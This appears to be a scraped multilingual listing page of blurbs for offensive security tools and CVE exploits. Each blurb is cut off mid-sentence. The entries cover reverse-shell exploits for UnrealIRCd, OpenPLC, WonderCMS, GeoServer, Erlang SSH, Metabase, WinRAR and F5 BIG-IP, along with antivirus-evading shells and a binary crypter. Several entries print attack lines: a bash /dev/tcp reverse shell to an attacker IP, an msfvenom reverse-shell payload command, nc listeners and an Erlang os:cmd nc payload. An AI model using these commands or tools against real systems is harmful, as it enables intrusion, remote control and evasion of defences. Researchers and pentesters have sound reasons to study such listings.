CVE-2010-2075-UnrealIRCd-3.2.8.1

CVE-2010-2075 CVE:2010-2075에 대한 익스플로잇. 이 익스플로잇은 UnrealIRCd 3.2.8.1에서 원격 명령 실행을 가능하게 합니다. 요구 사항 optparse, signal 사용법 실행할 명령을 보낼 수 있지만, 응답하지 않는 경우가 있습니다. 그럴 때는 간단히 리버스 셸을 보내고 도착을 기다리면 됩니다. root@kitploit: python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i & /dev/tcp/10.0.2.48/443...

hershell

Hershell Go로 작성된 간단한 TCP 리버스 셸. TLS를 사용하여 통신을 보호하며, 인증서 공개키 지문 고정 기능을 제공하여 트래픽 가로채기를 방지합니다. 지원되는 OS: Windows Linux Mac OS FreeBSD 및 파생 제품 왜 ? Meterpreter 페이로드는 훌륭하지만, 때때로 AV 제품에 탐지됩니다. 이 프로젝트의 목표는 여러 시스템에서 작동할 수 있는 간단한 리버스 셸을 얻는 것입니다. 어떻게 ? Go로 작성되었으므로, 원하는 아키텍처에 대해 소스를 크로스 컴파일할 수 있습니다. 시작 및 의존성...

CVE-2021-31630

OpenPLC WebServer v3 - 認証済みRCE CVE-2021-31630 このエクスプロイトは、Fellipe Oliveira によって作成された Exploit-DB のエクスプロイトに基づいています。 まず、認証する 悪意のあるCファイルをアップロードする コンパイルする PLCを起動する（リバースシェルを開始する） PLCを停止する（実行する必要はありません。リバースシェルはすでに開始されています） root@kitploit: └─ python3 customexploit.py --url http://10.10.11.7:8080 --username...

CVE-2023-21823

CVE-2023-21823 Reverse Shell for Windows 이 저장소는 Windows 운영체제를 위한 리버스 셸을 구현한 C 코드를 포함하고 있습니다. 리버스 셸을 사용하면 명령줄을 통해 원격 시스템을 제어할 수 있으며, 감염된 머신에서 명령을 실행할 수 있습니다. 중요 이 코드를 불법적인 목적으로 사용하거나 시스템 소유자의 허가 없이 사용하는 것은 불법이며 윤리적 원칙에 위배됩니다. 이 코드는 교육 및 연구 목적으로만 제공됩니다. 빌드 프로젝트를 빌드하려면 MinGW 또는 Microsoft Visual...

CVE-2023-41425-WonderCMS-Authenticated-RCE

CVE-2023-41425-WonderCMS-Authenticated-RCE 描述 WonderCMS v3.2.0 - v3.4.2 存在漏洞。远程攻击者可以通过跨站脚本（XSS）攻击完全控制服务器（仅供教育目的）。以下是攻击计划： 工作原理： 该漏洞利用 WonderCMS 的 installModule 组件，偷偷植入一个运行任意代码的恶意脚本。 设置 工具：exploit.py 必要条件： 安装了 WonderCMS 的目标 URL（无需管理员密码）。 攻击者机器的 IP 地址。 监听反向 Shell 的端口。 逐步执行 1. 脚本生成一个名为 xss.js 的文件。这个...

CVE-2004-1561-Icecast-Header-Overwrite-buffer-overflow-RCE-2.0.1-Win32-

CVE-2004-1561-Icecast-Header-Overwrite-buffer-overflow-RCE-2.0.1-Win32- 使い方 Ncat を使用したリバースシェルリスナー root@kitploit: root@Kali:/TryHackme/Ice nc -nlvp 443 listening on any 443 ... connect to 192.168.92.128 from UNKNOWN 192.168.92.133 49211 Microsoft Windows Version 6.1.7601 Copyright c 2009 Microsoft...

CVE-2024-36401

CVE-2024-36401에 대한 RCE CVE-2024-36401 GeoServer에 대한 POC입니다. 이 POC는 대상으로부터 역방향 시스템 셸을 설정하려고 시도합니다. 개요 CVE-2024-36401에 대한 POC: GeoServer 2.25.1, 2.24.3 및 2.23.5 이전 버전의 GeoServer에 대한 RCE입니다. 이 POC는 phith0n의 보안 권고를 기반으로 합니다. 작동 방식 1. 대상으로부터 오는 역방향 셸을 수신하기 위해 사용자 시스템에 리스너를 설정합니다. 2. 이 POC는 페이로드와 함께 PO...

CVE-2025-3243

CVE-2025-32433 Erlang SSHライブラリのエクスプロイト CVE-2025-32433 の概念実証エクスプロイトです。これはErlangのSSHライブラリにおける深刻な脆弱性であり、不正な SSHMSGCHANNELREQUEST パケットによって認証前のコード実行を可能にします。 特徴 オリジナルエクスプロイト : Matthew Keeley 氏 更新版 : Tyler Ramsbey 氏 LHOST 、LPORT 、RHOST 、RPORT のコマンドライン引数 argparse によるビルトインのヘルプと使用方法 os:cmd"nc LHOST LPORT -...

CVE-2020-0796

CVE-2020-0796 CVE-2020-0796 설명 및 취약점 연구 - 초보자를 위한 CENG325 학기 프로젝트 어떻게 익스플로잇할까? 리버스 셸을 위한 페이로드 생성: msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python 리스닝 포트: nc -lvnp 5555 익스플로잇 코드 실행: python3 exploit.py -ip TARGETIP PoC 저장소...

CVE-2023-38646

Metabase 사전 인증 RCE PoC - CVE-2023-38646 Metabase 오픈 소스 0.46.6.1 이전 버전 및 Metabase Enterprise 1.46.6.1 이전 버전에서 공격자가 서버에서 임의의 명령을 실행할 수 있습니다. 저는 공격자 머신에서 리버스 셸을 획득할 수 있도록 스크립트를 직접 작성했습니다. 사용법 스크립트는 대상 URL, 공격자 IP 및 포트를 필요로 합니다. 이 익스플로잇은 스크립트가 /api/session/properties에서 설정 토큰을 얻으려고 시도하므로 설정 토큰을 제공할 필요...

CVE-2023-38831_ReverseShell_Winrar-RCE

WINRAR의 CVE-2023-38831 취약점을 악용한 리버스 셸 획득 이 저장소에서는 WinRAR의 CVE-2023-38831 취약점을 악용하여, 피해자 Windows 머신에서 공격자 Kali Linux 머신으로 리버스 셸을 획득할 수 있습니다. 사전 단계 이 저장소의 콘텐츠를 다운로드합니다: 그런 다음, 이 취약점을 악용하는 데 필요한 Python 종속성을 다음 명령으로 설치해야 합니다: root@kitploit: pip install rarce 준비 공격자의 IP와 포트를 지정하여, revshells.com 웹사이트에서...

CVE-2023-38646

Metabase 사전 인증 RCE CVE-2023-38646 두 개의 파일을 제공합니다:- CVE-2023-38646-POC.py - Metabase 인스턴스가 setup-token을 누출하는지 확인하는 스크립트입니다. CVE-2023-38646-Reverse-Shell.py - 공격자가 제어하는 머신에서 리버스 셸을 얻는 스크립트입니다. CVE-2023-38646-POC.py CVE-2023-38646-Reverse-Shell.py 사용 방법 root@kitploit: git clone...

secbutler

ペンテスター、バグバウンティハンター、セキュリティ研究者のための必須ユーティリティ 特徴 • 使い方 • インストール • ライセンス • secbutler は、ペンテスター 、バグバウンティハンター 、セキュリティ研究者 のために作られたユーティリティツールで、サイバーセキュリティ活動を行う際に一般的に使用される最も頻繁で面倒な作業（セキュリティ関連ツールのインストール、リバースシェルのコマンド取得、一般的なペイロードの配信、動作するプロキシの取得、ワードリストの管理など）をまとめたものです。 コミュニティの要件を満たすツールを目指しています。そのため、提案やPRは大歓迎です！ ⚡ ...

Girsh

Girsh Golang 인터랙티브 리버스 쉘 누가 리버스 쉘을 완전한 인터랙티브 리버스 쉘tty 스폰, stty size ..., stty raw -echo로 업그레이드하기 위해 몇 줄을 수동으로 입력하거나 ConPTY를 사용하는 명령을 입력하는 데 지루함을 느끼지 않았을까요? 설명 Girsh를 실행하기만 하면 OS를 감지하여 완전한 인터랙티브 리버스 쉘로 업그레이드하기 위한 올바른 명령을 실행합니다. Linux의 경우: 터미널 크기 가져오기 python2.7, python3 및 python을 사용하여 tty 스폰 터미널을 r...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' CURL을 통해 굵게 표시된 값 수정: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

Salsa-tools

root@kitploit: / / / / / / / / \ / / / / / / / / / / / / / / // / // / / / / // / // / //,///,/ // //// Salsa Tools - 벨로타 소스에 담긴 AV 안전 리버스 셸 Salsa Tools는 세 가지 도구를 조합하여, 실행에 PowerShell이 필요 없이 모든 Windows 환경에서 강력한 리버스 셸을 얻을 수 있게 해주는 컬렉션입니다. 최신 탐지 기술AMSI을 회피하기 위해 대부분의 구성 요소는 C으로 작성되었습니다. Salsa...

tippa-my-tongue

Tippa My Tongue Tippa My Tongue은 CVE-2022-1388 및 CVE-2022-41800을 사용하여 F5 BIG-IP 제품에 root 리버스 셸을 설정하는 익스플로잇입니다. 대부분의 CVE-2022-1388 익스플로잇은 /mgmt/tm/util/bash를 사용하여 코드 실행을 달성합니다. 그러나 이 익스플로잇은 /mgmt/shared/iapp/rpm-spec-creator를 사용한 후 /mgmt/shared/iapp/build-package를 사용합니다. 이 접근 방식은 Ron Bowes가 이...

CVE-2021-26295

CVE-2021-26295 CVE-2021-26295 EXP — 성공적으로 셸 획득 가능 이 문서 및 도구는 기술 공유 목적으로만 제공되며, 불법적인 용도로 사용하는 것을 엄격히 금지합니다. 위반 시 발생하는 모든 결과는 사용자 본인이 책임집니다. 명령 실행 EXP 트리거 1. VPS에서 RMI 리스너를 9999 포트로 시작 root@kitploit: java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '실행할 명령' 2. VPS에서 nc...

bincrypter

Privacy and copyright protection for your programs A Linux Binary Runtime Crypter - in BASH! Obfuscate & encrypt any ELF binary Obfuscate & encrypt any SHELL-script AV/EDR death: Morphing + different signature every time 100% in-memory. No temporary files Not soiling the filesystem Double or trip...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE 이 저장소는 디렉토리 경로 탐색 취약점을 통해 원격 코드 실행을 허용하는 Nostromo 웹 서버 1.9.6의 CVE-2019-16278 익스플로잇을 포함합니다. 이 스크립트는 pwntools를 사용하여 리버스 셸을 설정합니다. 교육 및 승인된 테스트 목적으로만 사용하세요. 요구 사항 Python 3.x pwntools 라이브러리 pwntools를 설치하려면 다음을 사용하세요: root@kitploit: pip3 install pwntools 사용 방법 설정 1. 리...